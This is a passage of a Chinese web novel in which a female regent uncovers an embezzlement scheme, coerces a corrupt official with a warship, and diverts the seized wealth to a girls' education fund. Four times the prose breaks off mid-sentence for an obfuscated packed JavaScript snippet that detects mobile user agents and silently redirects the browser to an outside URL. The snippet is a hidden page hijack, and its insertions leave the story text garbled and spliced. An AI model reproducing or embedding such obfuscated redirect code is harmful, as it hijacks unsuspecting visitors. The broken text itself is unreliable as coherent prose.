他的手法利落而高效,指尖迅速掠过刺客的衣物夹层、腰带内侧等可能隐藏物品之处。很快,他的动作微微一顿,从刺客紧贴胸口的暗袋中,取出一枚物事。那物事约有巴掌大小,触手冰凉刺骨,竟似能将周遭空气的热量都吸走几分。令牌通体由玄铁铸造,沉甸甸的,表面呈现出一种经过岁月沉淀的暗哑光泽。造型古朴奇异,边缘处雕刻着难以辨识的古老云纹,而令牌的正面,则是一个更加引人注目的图案——一条蟠曲的龙! 这龙纹与宫廷中常见的象征皇权的五爪金龙截然不同,它形态更为狞厉诡谲,龙身扭曲盘绕,龙首回望,一双龙目并非镶嵌宝石,而是用某种特殊的暗红色朱砂类材料点染,猩红欲滴,栩栩如生,即便在昏暗的光线下,也仿佛散发着幽幽的血光,透着一股邪异之气。稍有见识的人都清楚,这正是宗室内部秘密圈养、世代相传、只执行最隐秘最致命任务的核心死士——蟠龙死士的身份标记! 那名风雪骑成员面无表情,用一块布巾擦去令牌上沾染的些许血污,然后转身,大步走到谢凤卿面前,单膝跪地,双手将令牌高高托起,声音低沉而清晰地禀报:“王爷,从刺客头领身上搜出此物。是宗室的最后暗卫,‘蟠龙死士’的令牌。” 谢凤卿的目光淡淡地扫过那枚象征着垂死挣扎和最后疯狂的令牌。她的眼神中没有任何意外的波澜,仿佛这一切早就在她的预料和算计之中,只有一丝极淡的、却冰冷刺骨的嘲讽,如同冬日窗棂上凝结的霜花,在她眼底悄然蔓延。她甚至没有伸手去接那枚足以坐实宗室罪证的令牌,仿佛那是什么肮脏的秽物。 她的视线轻飘飘地越过令牌,落在了不远处,户部尚书李德明那具已然僵硬的尸体上。这位年迈的尚书,在刚才那场突如其来的混战中,被一名濒死的刺客在绝望中胡乱挥舞的淬毒**划开了脖颈。此刻,他瘫倒在血泊中,面色呈现出一种不祥的青黑,嘴唇紫绀,双目圆睁,凝固着临死前的惊恐与难以置信,已然气绝身亡。这死法,在外人看来,简直是“巧合”得不能再“巧合”,恰到好处地省去了后续无穷无尽的审讯、对质与可能的攀咬。 “垂死挣扎,”谢凤卿终于开口,声音不高,却清晰地传入在场每一个惊魂未定的官员耳中,那语气里的嘲讽如同无形的冰锥,精准地刺入他们本就脆弱不堪的心脏,“连最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848135|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后一滴污血,也要榨干用来阻挡算盘和账册么?” 她微微停顿,目光再次扫过满地狼藉,最终落回那堆象征着真相的账册上,语气斩钉截铁,带着一种无可抗拒的决绝:“可惜,晚了。这百万亏空的盖子,既然本王亲手来揭,就没有人——无论他是谁,用什么手段——能再将它盖上!” 她的声音陡然转冷,如同数九寒天的北风:“螳臂当车,徒增笑耳!” 站在一旁的萧御,此时已将佩剑缓缓归入鞘中,剑身与剑鞘摩擦发出清脆的“咔哒”声。他看着地上那枚猩红龙目的令牌,又扫过那些刺客的尸体,面色阴沉得如同暴风雨前的天空,几乎能滴出水来。他转向谢凤卿,声音带着压抑的怒火和一丝了然: “蟠龙死士……宗室最后、也最隐秘的力量。看来,他们最后的经济命脉,就隐藏在这笔惊人的亏空之后。”他深吸一口气,继续道,“他们这是真的狗急跳墙了。刺杀不成,反而将这最后一张隐藏最深的底牌,也彻底暴露了出来。经此一役,他们在帝国内部的武装暗桩,也算是被连根拔起了。” 他的分析冷静而精准,指出了这场失败的刺杀背后,宗室势力所付出的惨重代价——不仅是经济命脉被斩断,连最后赖以翻盘的武力依仗也彻底暴露并被清除。这无疑是一场彻头彻尾的惨败。 谢凤卿的目光,如同最精密的探针,缓缓扫过散落一地、甚至沾染了暗红血迹的账册。那些凌乱的纸页,此刻在她眼中,不再是简单的数字记录,而是一条条通往真相核心的路径,一张张记录着贪婪与罪孽的图谱。她的眼神锐利得仿佛能穿透这层层叠叠的纸张,直抵其下隐藏的、盘根错节的利益网络和肮脏交易。 “垂死的哀鸣罢了。”她轻启朱唇,吐出的字眼却冰冷如铁,带着一种居高临下的蔑视,“但这哀鸣,救不了任何人,也掩盖不了任何事。” 她微微抬起下颌,声音不高,却带着一种足以令山河变色的决绝意志,清晰地回荡在死寂的正堂中,传入每一个惊魂未定的官员耳中,更像是一道无形的檄文,传向远方: “查!” “给本王彻查到底!” “每一两银子的具体去向,无论它被洗白成了何种模样,隐匿在何处!” “每一个经手过这笔亏空银子的人,无论他官居何位,背后站着谁!” “都要给本王挖地三尺,一个不落地揪出来!” 她的目光最终定格在账册上“江南盐铁”那几个刺眼的字上,嘴角勾起一抹冷冽如刀锋的弧度: “江南盐铁使,周文康……” “很好。” “第一个,就拿他开刀!” “本王倒要看看,是他的嘴硬,能扛得住这如山铁证,还是本王的刀快,能斩断这江南的贪腐链条!” 第128章点名要大人亲启 话音落下的瞬间,仿佛有无形的寒意随着她的意志,跨越千山万水,直扑江南。 午时,京杭大运河畔。江南道盐铁转运使司衙署。 阳光正烈,金色的光芒泼洒在烟波浩渺的运河之上,粼粼波光闪烁,本该是一派生机勃勃、暖意融融的景象。然而,位于运河黄金地段、往日里最是喧嚣显赫的盐铁转运使司衙署,此刻却仿佛被一块巨大的寒冰所笼罩,感受不到丝毫的暖意,唯有深入骨髓的冰冷与死寂。 往日的盐铁署,是何等的风光无限!运河码头上,悬挂着各色旗帜的运盐船、满载货物的商船、装饰华丽的官船,舳舻相接,络绎不绝,号子声、吆喝声、船桨击水声,交织成一曲财富与权力的交响乐。衙署那高大的朱漆大门前,车水马龙,冠盖云集。从各地赶来汇报工作的官员、带着重礼渴望打通关节的豪商巨贾、**繁杂公务的吏员,熙熙攘攘,川流不息。门房收受门包、传递名帖的声音此起彼伏,处处彰显着这里作为帝国江南财赋重地的显赫与繁忙,空气里都仿佛弥漫着银钱与权势的味道。 然而今日,所有的盛景都荡然无存。码头上空荡荡的,连一条小舢板都看不见,仿佛所有的船只都提前嗅到了危险的气息,远远避开了这片水域。衙署门前更是冷落得可怕,高大的门楼前不见半个人影,连那两尊象征威权的石狮子,都似乎在这片死寂中耷拉下了脑袋。本该挺胸凸肚站在门前值守的差役,此刻全都缩在狭窄的门房里,一个个面色惶惶,如同惊弓之鸟,连大气都不敢喘一口,偶尔有人偷偷从门缝里向外窥探一眼,也立刻像被烫到一样缩回头去,脸上写满了恐惧。一种无形的、沉重到令人窒息的巨大压力,如同乌云盖顶,笼罩着整个衙署的每一寸土地、每一片屋瓦,比三九严寒的冰雪更要冰寒彻骨,冻得人灵魂都在颤抖。 原因无他! 就在大约一个时辰前,一个庞大得超乎所有人想象、彻底颠覆了人们对船只认知的黑色巨影,逆着滔滔东去的江水,以一种蛮横无比、无视一切常规的姿态,悍然驶入了这段平日里最为繁忙拥挤的运河河道! 那根本不能称之为船,那简直是一头从洪荒神话中走出的巨兽!一艘庞大到令人望之生畏的巨型战舰! 它的通体覆盖着暗红色的铁甲,那颜色仿佛是凝固的血液,在午时最烈的阳光下,非但没有反射出温暖的光泽,反而泛着一种冰冷、狰狞的金属幽光,充满了毁灭的气息。舰首并非寻常船只的造型,而是雕刻着一个栩栩如生、张牙舞爪的狰狞龙首!那龙首怒目圆睁,獠牙外露,龙口大张,仿佛下一刻就要从喉管深处喷射出焚尽一切的烈焰吐息,将面前的一切都化为灰烬!最令人胆寒的是船身两侧,那密密麻麻、如同蜂巢般排列的数十个炮窗!每一个窗口都是开启状态,从里面探出一根根粗壮、泛着幽冷死亡光泽的金属炮管,黑洞洞的炮口,如同巨兽冷酷的眼睛,毫无任何情感,就那么直勾勾地、毫不掩饰地对准了千步之外的盐铁转运使司衙署! 这,便是摄政王谢凤卿倚为臂助、其名虽已传闻天下却罕有人亲眼得见的秘密杀器——融合了失传墨家机关术之精妙与西域最精良火器技术打造而成的战争巨兽,“火龙炮舰”! 它不需要有任何动作,不需要发出任何警告。它的存在本身,就是一种无声却强大到极致的终极威慑!那庞大如山岳的体型,那狰狞可怖的外表,尤其是那数十个随时可能喷吐雷火、宣告毁灭的炮口,已然在出现的瞬间,就彻底击溃了盐铁署上下所有人的心理防线!从最高长官到最底层的杂役,所有人都毫不怀疑,只要这衙署内稍有异动——或者说,根本不需要异动,只要那位远在京城、手段通天的摄政王殿下心生一念,这艘可怕的巨舰瞬间就能万炮齐发,将这座象征着江南财富与权力的中枢衙署,连同里面的所有人、所有秘密、所有罪证,一起从地面上彻底抹去,化为齑粉! 盐铁转运使周文康,将自己一个人锁在宽敞却无比压抑的签押房大堂里。他年约四旬,原本保养得宜、白净面皮上总带着几分官威与矜持,此刻却已是面如死灰,不见半分血色,连嘴唇都是灰白的。他瘫坐在那张宽大舒适的红木太师椅上,仿佛全身的骨头都被抽走了,手中捧着一只价值不菲的景德镇薄胎瓷茶盏,里面的茶水早已凉透,冰冷的触感透过瓷壁传来,他却浑然不觉,只是失神地、带着一种近乎绝望的茫然,望着窗外运河上那艘如同噩梦化身般的火龙炮舰的巨大阴影。 他的指尖因为用力攥着茶杯而微微发白,失去了血色。整个身体控制不住地一阵阵发出轻微的颤抖,那是从灵魂深处无法抑制的恐惧。 完了……全完了…… 周文康的心中,一片冰封的荒芜。当京城宗庙之前那场血腥清洗的消息,通过秘密渠道如同冰锥般刺入他耳中时,他就已经有了大祸临头的强烈预感。而当摄政王谢凤卿亲自带队,雷霆万钧般直扑户部,开始核查天下账目的消息,如同插了翅膀的利箭般飞速传抵江南时,他更是如坠万丈冰窟,从头到脚都凉透了。 那笔庞大的、足以震惊朝野的盐铁税银亏空,绝大部分,都是经由他这个江南盐铁使的手,通过精心设计、极其复杂隐秘的渠道,像血液一样,源源不断地输向了宗室秘密控制的几个**,以及遍布全国各地的各种产业网络。这些钱,支撑着宗室集团庞大的日常开销,供养着他们暗中蓄养的私兵死士,进行着各种见不得光的勾当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848136|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。他周文康,就是宗室安插在帝国最肥硕的“钱袋子”——江南盐铁事务上的关键一环,是这条巨大贪腐链条上最核心的阀门之一。 如今,宗室这棵大树已倒,猢狲将散,而他这个曾经倚仗大树好乘凉、捞得盆满钵满的“阀门”,便成了首当其冲的目标,暴露在摄政王那冰冷无情的目光之下,无处可逃,无路可退。窗外那艘沉默的巨舰,便是最直接的死亡通牒。 “大、大人……不好了!不好了——!” 一声凄厉得变了调的呼喊,如同被掐住脖子的公鸡在垂死挣扎,猛地撕裂了签押房内死一般的寂静。伴随着这声呼喊的,是一阵仓皇凌乱、几乎是连滚爬爬的脚步声。 只见周文康最倚重的那位心腹师爷,此刻早已是魂飞魄散的模样。他冠帽歪斜,发髻散乱,平日里梳理得一丝不苟的几缕胡须也黏在了冷汗涔涔的脸上。他脸色煞白如纸,嘴唇不住地哆嗦,一双眼睛里充满了极致的恐惧,仿佛刚刚从十八层地狱里逃出来。他甚至完全忘记了上下尊卑的礼节,几乎是手脚并用地扑进了大堂,因为跑得太急,还被高高的门槛绊了一下,一个趔趄差点摔倒在地,模样狼狈到了极点。 他冲到周文康面前,也顾不得仪态,“噗通”一声就软倒在地上,双手却高高举起,如同捧着烧红的烙铁一般,颤抖地捧着一封密封的函件。那函件用的是最上等的硬壳信封,封口处,殷红如血的朱漆格外刺眼,火漆上压制着一个清晰无比的玄鸟纹印记——那振翅欲飞、睥睨天下的姿态,正是当今摄政王谢凤卿独有的标记! “王、王爷……摄政王的钧令……到了!”师爷的声音带着哭腔,气息紊乱,每一个字都像是从牙缝里挤出来的,“是八百里加急……直接送到衙门口……点名……点名要大人亲启!” 周文康如同被一道无形的闪电劈中,浑身猛地一颤,原本就瘫软在太师椅上的身体瞬间绷紧!他死死地盯着那封信,眼神里充满了难以置信的惊骇,仿佛那不是一封信,而是一条昂首吐信的毒蛇,随时会暴起噬人。他颤抖着,几乎是下意识地伸出双手,那双手指节因为用力而泛出青白色,不受控制地剧烈颤抖着,几乎是抢夺一般,一把将信抓了过来。 冰凉的信封触手生寒,那上面的玄鸟纹似乎活了过来,正用冰冷的眼神注视着他。他试图拆信,可手指却像是冻僵了一般,根本不听使唤。平日里轻而易举就能撕开的火漆,此刻却坚固得可恶。他试了两次,指甲甚至因为用力过猛而微微翻起,带来一丝刺痛,才终于“刺啦”一声,将那朱红的封印撕开一个口子。他哆嗦着从里面抽出一张纸。 薄薄的一张纸,轻飘飘的,却仿佛有千钧之重,压得他几乎喘不过气。 第129章如此石破天惊的消息,又如何能封 信笺上的字迹,并非寻常墨色,而是用朱砂混合了特殊金粉调成的朱红墨汁书写而成!那字迹铁画银钩,笔力遒劲,每一笔、每一划都仿佛蕴含着雷霆万钧之力,力透纸背,带着一股不容置疑、生杀予夺的绝对威权,狠狠地砸向他的眼球,直刺他的心脏! 信上只有简短的几句话,言简意赅,却字字如刀: “江南盐铁亏空,罪证确凿。限尔三日之内,将所匿藏之银两、产业,悉数划归‘女学基金’名下,不得有误。逾期,或敢隐匿、转移分毫,火龙炮舰之下,鸡犬不留。——谢凤卿。” 没有审问,没有辩解的机会,甚至没有一丝一毫的转圜余地。这就是最后通牒,是死亡判决书! “女——学——基——金——!” 这五个字,如同五根烧红的钢针,狠狠地扎进了周文康的瞳孔深处!他的瞳孔在瞬间收缩成了两个针尖大小的黑点,周围的眼白布满了惊恐的血丝。他感觉仿佛有一只无形的大手死死扼住了自己的喉咙,胸腔里的空气被瞬间抽空,一阵剧烈的窒息感袭来,让他忍不住张开嘴,却发不出任何声音,只有喉咙里发出“嗬嗬”的、如同破风箱般的怪异声响。 他当然知道这个“女学基金”!这是谢凤卿早在掌控北境军政时,就开始力排众议、竭力推行的一项“新政”。名义上,是在各地兴办女子学堂,教授那些被视为“无才便是德”的女子们读书识字、学习算数技艺。当时,在朝中绝大多数守旧派官员,尤其是那些视礼法为性命的宗室勋贵们看来,这简直是离经叛道、荒诞不经的“妇人之仁”,是摄政王“心血来潮”的“善举”,私下里没少嗤笑她“不务正业”、“难成气候”,甚至将其作为攻击她“牝鸡司晨”的笑柄。 谁能想到! 谁能想到啊! 此刻,在这雷霆万钧、足以颠覆朝野的贪腐大案追查之下,这个曾被他们肆意嘲讽、视为儿戏的“女学基金”,竟然摇身一变,成了填平那骇人听闻的百万亏空的利器!谢凤卿的目的,根本不仅仅是追回被贪墨的赃款,充实空虚的国库!她是要用他们宗室集团百年经营、辛辛苦苦、甚至不惜蛀空国本才贪墨积聚起来的巨额财富,来反向滋养、强力推动她想要推行的新政!她不仅要抄他们的家,掘他们的根,还要用他们的骨头来熬油,用他们的血肉来做肥,去浇灌她所期望的那些“新苗”! 这是何等的算计!何等的狠辣!何等的釜底抽薪!这更是……何等的奇耻大辱!他们这些自诩为天潢贵胄、士林清流的宗室官员,最终竟然成了资助“牝鸡司晨”的垫脚石!这比直接杀了他们,更让他们感到锥心刺骨的痛苦和羞辱! “噗——”周文康只觉得喉头一甜,一股腥热猛地涌上口腔,他强行咽了下去,但嘴角已然渗出了一丝暗红的血线。眼前阵阵发黑,无数金星乱窜,大堂里的梁柱似乎都在旋转、扭曲。他仿佛已经看到,宗室暗中掌控的那些金山银海、遍布全国的产业庄园,正通过他这只曾经为他们效力的“手”,被一股无法抗拒的巨力,强行剥离、扭转方向,如同百川归海般,源源不断地注入那个名为“女学基金”的、他们曾经最不屑一顾的“怪物”口中。这些财富,将成为谢凤卿巩固无上权柄、收买天下寒门与庶民之心、强力推行她那一套离经叛道新政的最雄厚资本!而他们这些曾经的“功臣”、“自己人”,不仅身败名裂,抄家灭族,更在死后还要背上千古骂名,成为滋养仇敌、助长“歪风”的历史罪人!这简直是**诛心,挫骨扬灰! 就在周文康心神俱裂、万念俱灰,瘫在椅子上如同被抽走了魂魄的同时—— 窗外,那艘如同洪荒巨兽般蛰伏的“火龙炮舰”投下的巨大阴影之下,运河波澜微兴的水面上,数艘体型修长、线条流畅、悬挂着奇异靛蓝色鬼头旗的快船,如同幽灵般,借着炮舰庞大身躯的掩护,悄然无声地靠上了熙攘不再的码头。 这些快船并非官军制式,造型奇特,船身吃水浅,显然是为了追求极致的速度。船刚一靠稳,踏板尚未完全放下,一队队人马便已迅捷有序地登岸。这些人打扮各异,并非官兵的号衣,大多穿着利于行动的深色短打衣衫,或着看起来像是大商号管事的绸缎长衫,但个个眼神锐利如鹰,行动间悄无声息,透着一股精干利落、久经历练的气息。他们彼此之间几乎没有言语交流,仅靠眼神和简单的手势便能默契配合,效率高得惊人。 这些人,正是谢凤卿通过隐秘渠道,紧急调集而来的特殊力量。他们并非朝堂官员,而是精于算学、更擅长在各种复杂规则甚至灰色地带中运作、处理庞大资产和复杂账目的专业人才。他们手持的,是盖有摄政王宝玺与监国亲王萧御双印、授权范围极大的特殊手令。 一下船,这些人便如同早已规划好路线的溪流,迅速分流,目标明确地扑向周文康在城中多处不为人知的别院、隐匿在普通货栈之中的秘密银库、以及江南地面上另外几家与这笔庞大盐铁亏空案有着千丝万缕联系、暗中为宗室输送利益的豪商巨贾的府邸、私密钱庄和囤积货物的仓库。 这些专业管事的背后,隐隐浮现的是与谢凤卿合作密切、势力盘根错节、掌控着庞大海上贸易线路与地下灰色商业网络的“鬼市”力量的影子!他们最擅长的,便是在法律的边缘游走,用各种或明或暗的手段,高效地完成资产的转移、清算和变现。此刻,在“火龙炮舰”这绝对武力的死亡威慑下,在来自京城最高层、精准无比的情报指引下,这场针对宗室残余经济势力的接收与清算行动,迅捷得如同一次精心策划的外科手术,刀刀致命,干净利落。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856159|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哐当!”一声巨响,一座隐藏在深宅大院假山下的秘密银库厚重的铁门被特制的工具强行撞开。 “嘶啦!”昂贵的丝绸被掀开,露出下面堆积如山的、闪烁着诱人光泽的官铸银锭。 “哗啦啦!”一箱箱密封的珠宝古玩被打开,翡翠玉石、珊瑚玛瑙在昏暗的光线下折射出迷离的光彩。 一卷卷价值连城的名人字画被小心展开核对。 一叠叠代表着田地、房产、商铺的地契房契被迅速清点、登记造册。 整个过程,没有多余的喧哗,只有专业而冷漠的清点声、算盘珠的轻微碰撞声、以及笔尖在纸面上划过的沙沙声。高效,迅速,带着一种不容置疑的、碾压般的力量,正在将宗室集团隐藏在江南的财富根基,连根拔起。 一处处看似寻常、实则暗藏玄机的产业,如同依附在帝国经济脉络上的毒瘤,被精准地剥离。那些挂在远方表亲、心腹家奴,甚至与周家八竿子打不着的陌生名下的繁华酒楼、生意兴隆的当铺、穿梭于运河的船行、一望无际的翠绿茶园、机杼声声的丝织工坊……此刻,在手持摄政王朱批手令、神色冷峻的管事们面前,它们真实的归属再也无法隐藏。地契、房契、股契被一一摊开,在冰冷的目光注视下,原有的名号被朱笔划去,墨迹未干,便被强制更名,白纸黑字,清晰地烙上“女学基金”的印记。这些昔日为宗室输送血液的产业,转瞬间改旗易帜,成为了滋养新芽的土壤。 而那些通过复杂得令人眼花缭乱的钱庄流水、层层嵌套如同迷宫般的皮包商号精心洗白、巧妙隐匿在合法生意外壳下的巨额灰色资金,也未能幸免。随鬼市船队而来的,是那些常年与金钱暗流打交道、精通各种金融伎俩的高手。他们如同最老练的猎手,顺着周文康等人在强大压力下被迫吐露的蛛丝马迹,顺藤摸瓜,精准地探入那幽深复杂的资金网络。一道道命令发出,一笔笔庞大的资金被强行从隐匿的账户中划转、冻结,如同截断了暗河的水流,使其再也无法为旧主效力。 整个过程,犹如一场策划周密、执行精准的外科手术。刀锋所向,直指要害,剜除了寄生在帝国江南这最富庶机体上的最大毒瘤。更令人惊叹的是,那原本侵蚀国本的“毒素”,并未被简单地废弃,而是被一种高超的**智慧巧妙转化,剔除了其中的腐朽与危害,提炼成为能够滋养新生肌体、催发蓬勃希望的“新鲜血液”。这已不仅仅是追赃,更是一场资源的强制性转移与重塑。 如此石破天惊的消息,又如何能封锁得住? 几乎就在清算行动展开的同时,各种言之凿凿又光怪陆离的传言,便如同初春的柳絮,又似长了翅膀,迅速飞遍了江南水乡的大街小巷、酒肆茶楼,继而以更快的速度,乘着驿道和商路,向着帝国的每一个角落辐射开去。 第130章初步的清算结果 “听说了吗?了不得了啊!京城里的那位女摄政王,雷霆手段,查户部的老底子,竟查出了个天大的窟窿眼!”街边茶摊上,一个精瘦的汉子压低了声音,眼神却闪着光,对着围拢过来的茶客唾沫横飞。 “多少?快说说!”旁人急切地催促。 “多少?”那汉子故意卖个关子,伸出三根手指,在空中用力晃了晃,声音带着难以置信的颤抖,“三百万两!雪花银啊!我的个老天爷,咱们平头百姓,别说几辈子,就是几十辈子、几百辈子,砸锅卖铁也攒不下这么一个角啊!” 人群中顿时响起一片倒吸冷气的声音,随即是七嘴八舌的议论。 “三百万两?那……那国库岂不是空了吗?咱们的饷银,朝廷的用度,可怎么办?” “空?嘿!老弟,你这可就瞎操心啦!”另一个看似见多识广的老者捋着胡须,眼中带着一丝与有荣焉的得意,“你也不想想要查这账的是谁?是谢凤卿,谢王爷!她能吃这个哑巴亏?告诉你,人家的手段,那才叫一个厉害!” “快说快说,怎生个厉害法?” “怎生厉害?”老者声音提高了几分,仿佛亲眼所见一般,“直接派了那艘听说能呼风唤雨、喷火吐雷的‘火龙’巨舰,逆着大江就到了咱们江南,就那么大喇喇地停在盐铁衙门门口!那炮口,黑森森的,直勾勾对着衙门!好家伙,那阵势!都不用动手,光是杵在那儿,就吓得里头那些贪官污吏、还有他们背后吸血的宗室老爷们,屁滚尿流,乖乖地把吞下去的钱,连本带利全都吐出来啦!” “吐出来了?充了国库?”有人追问。 “充回国库?那岂不是又等着被下一批蛀虫啃食?”老者摇摇头,脸上露出高深莫测的笑容,“告诉你,这笔钱,没进国库!” “那进了哪里?” “进了‘女学基金’!”老者一字一顿,仿佛在宣布一个划时代的消息,“就是摄政王这些年一直在北边、在好些地方办的那个,让女娃儿也能进学堂、读书识字明事理的‘女学基金’!” “天爷啊!”人群中爆发出更大的惊呼,许多旁听的妇人眼睛瞬间亮了。 “用贪官和宗室老爷的脏钱,来办女学?让咱们的闺女、孙女也能念书?”一个挎着菜篮的妇人喃喃道,脸上满是不可思议,随即转化为一种难以言喻的激动,“这……这真是千古头一遭的稀奇事!是大好事!是痛快事啊!” “何止是好事!”旁边有人接口,“听说那女学基金,这一下子可是不得了啦!银子堆成山,产业遍地是,简直……简直富可敌国了!” “凤皇万岁!摄政王千岁!”不知是谁先激动地喊了一声,这呼声立刻得到了许多人的响应,尤其是那些平日里备受压抑、眼见女儿有望改变命运的妇人,眼神中充满了感激与希望。 民间的**,如同滚沸的开水,彻底蒸腾起来!尤其是在社会底层苦苦挣扎的百姓和那些从未被重视过的女子群体中,引发的反响堪称狂热。谢凤卿此举,远远超出了普通追赃罚没的意义。她以一种极其震撼、极具象征意义的方式,向天下人宣告:旧有的、依靠盘剥吸血而维持的秩序已经彻底破产!同时,她也展示了一种全新的、强大的力量组合——绝对领先的武力(火龙巨舰所代表的科技)与高效而灵活的新经济运作模式(鬼市势力的介入与基金化管理)相结合,所能爆发出的惊人能量,足以摧枯拉朽,重塑规则。她不仅仅是在填补财政的窟窿,更是在用雷霆万钧的行动告诉所有人,贪腐蛀虫的道路已然断绝,而她所指引的,是一条截然不同、充满光明与希望的新路。 “凤皇万岁!”的呼声,不再局限于茶楼酒肆,开始自发性地在市井街巷、田间地头响起,初时如星星之火,很快便呈现出燎原之势,汇聚成一股强大的**潮流。 酉时初,白日里的喧嚣与动荡,如同退潮的海水,渐渐平息。帝都巨大的阴影缓缓拉长,夜幕开始如同轻柔的墨色纱幔,缓缓笼罩下来。而那位于权力漩涡中心的摄政王府,朱门深闭,高墙巍然,仿佛将外间的一切波涛汹涌,都隔绝在了那沉静而肃穆的府墙之外。 王府深处,一扇与墙体颜色、纹理完全融为一体、几乎看不出任何缝隙的暗门,被一名贴身女官以特定的节奏和力道轻轻推开,发出几不可闻的“咔哒”声,悄然开启。一股混合着陈年书卷、冷冽岩石以及淡淡龙涎香的气息,从门内缓缓逸出。 门后,是与外界喧嚣彻底隔绝的另一个世界。 这是一间极为宽敞且奇特的暗室。四壁、穹顶乃至地面,皆是由巨大而规整的花岗岩石块严丝合缝地垒砌而成,石块表面打磨得相对平滑,却依旧保留着岩石天然的粗粝质感与冰冷温度。壁上并非空无一物,每隔一段距离,便镶嵌着一盏造型古朴的青铜长明灯。灯盏并非使用寻常灯油,而是以某种特制的深海鲛人油脂混合特殊香料炼制而成的灯烛,火焰稳定而柔和,散发出一种略带青白色的光晕,将整个空间照耀得纤毫毕现,却又不会产生晃动的阴影,光线均匀得令人心静。空气中漂浮着极淡的、能宁神静气的檀香,更增添了此地的神秘与肃穆。 暗室最为引人注目的,是正中央那座巨大的沙盘。沙盘底座由整块的黑檀木雕琢而成,光滑如镜,几乎能倒映出穹顶的灯盏。而沙盘本身,则是一件耗费了无数能工巧匠心血的杰作,堪称一件融合了地理、军事与艺术的无价之宝。其上,帝国广袤的疆域被微缩于此:蜿蜒曲折的江河用融化的银丝精心镶嵌,奔腾不息;连绵起伏的山脉以各色天然矿石粉末混合胶泥塑造成型,高低错落,险峻非常;广袤的平原、森林、沙漠,则用不同颜色和质感的细沙铺就,层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16859983|186727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次分明;一座座重要的城池、关隘、港口,则以微雕技艺栩栩如生地呈现,甚至连城墙的垛口、城门楼的飞檐都清晰可辨。这不仅仅是一幅地图,更是整个帝国的血肉与脉络凝聚于此的微缩景观,掌控它,便仿佛掌控了天下大势。 谢凤卿与萧御,此刻便并肩立于这巨大的沙盘之前。 两人皆已褪去了白日里象征权位的正式袍服,换上了便于行动的常服。谢凤卿依旧是一身玄色,衣料是某种带有暗纹的贵重绸缎,在长明灯下泛着幽微的光泽,剪裁极尽简洁利落,毫无多余点缀,唯有腰间一根同色丝绦束住纤腰,更衬得她身姿挺拔如松,气质清冷如月。那柄名动天下的桃花剑并未佩在身边,少了几分沙场戾气,却多了几分运筹帷幄的深沉与居家的从容。 萧御则穿着一袭月白色的亲王常服,颜色清雅,以银线暗绣着简约的流云纹,少了几分朝堂之上的威仪,却更显出身居上位者的儒雅气度与翩翩风度。只是,他那双总是含笑的眼眸深处,此刻却沉淀着与这身闲适打扮不甚相符的凝重。 一份由特殊渠道以最快速度传递而来的、墨迹犹新的江南资产清算汇总简报,已然悄无声息地呈送到了他们面前,静静地躺在沙盘边缘。那薄薄的几页纸,其重量却堪比千钧,因为它承载着足以颠覆朝野、影响国运的数字。 暗室中寂静无声,只有长明灯燃烧时发出的极其细微的“噼啪”声,以及两人几不可闻的呼吸声。灯火将他们的身影拉得长长的,投在冰冷坚硬的花岗岩墙壁上,如同两尊沉默的守护神,守护着沙盘上所代表的**江山。 萧御深吸了一口气,似乎要平复内心依旧激荡的情绪。他伸出手,指尖修长而稳定,拿起了那份简报。他的目光落在沙盘上那片被精心标注出来的、象征帝国最富庶钱袋子的江南区域模型上,声音打破了沉寂,带着一丝经历巨大风波后如释重负的振奋,以及难以完全掩饰的、对那庞大数字的惊叹: “凤卿,”他的声音在密闭的空间里显得格外清晰,“初步的清算结果,已经出来了。” 他顿了顿,指尖在简报上那些墨迹未干的数字上轻轻划过,继续道:“根据鬼市船队那边初步统计,以及周文康为保家族性命、戴罪立功所提供的线索相互印证……此次在江南一地,我们共追缴、接收现银,一百八十万两有余。这还不包括那些难以立刻变现,但价值巨大的资产——各类珠宝古玩、名人字画、各处的地产、繁华地段的商铺、以及数支颇具规模的船队……这些,初步作价,约在一百五十万两上下。” 